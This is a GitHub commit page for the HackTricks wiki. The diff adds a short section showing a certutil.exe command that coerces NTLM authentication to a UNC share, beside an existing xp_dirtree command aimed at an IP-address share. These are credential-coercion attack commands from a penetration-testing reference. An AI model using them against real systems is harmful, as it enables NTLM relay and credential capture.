Merge pull request #719 from nuts7/certutil-ntlmcoerce-newtech

Add NTLM auth coerce technique (certutil.exe)
HackTricks-wiki · Oct 11, 2023 · 6b6da2a · 6b6da2a
2 parents a0e0e09 + 6a6ccd9
commit 6b6da2a
Showing 1 changed file with 8 additions and 0 deletions.
diff --git a/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
@@ -93,6 +93,14 @@ EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
 
 Or use this other technique: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
 
+### Certutil
+
+It's possible to use certutil.exe lolbin (Microsoft-signed binary) to coerce NTLM authentication:
+
+```bash
+certutil.exe -syncwithWU  \\127.0.0.1\share
+```
+
 ## HTML injection
 
 ### Via email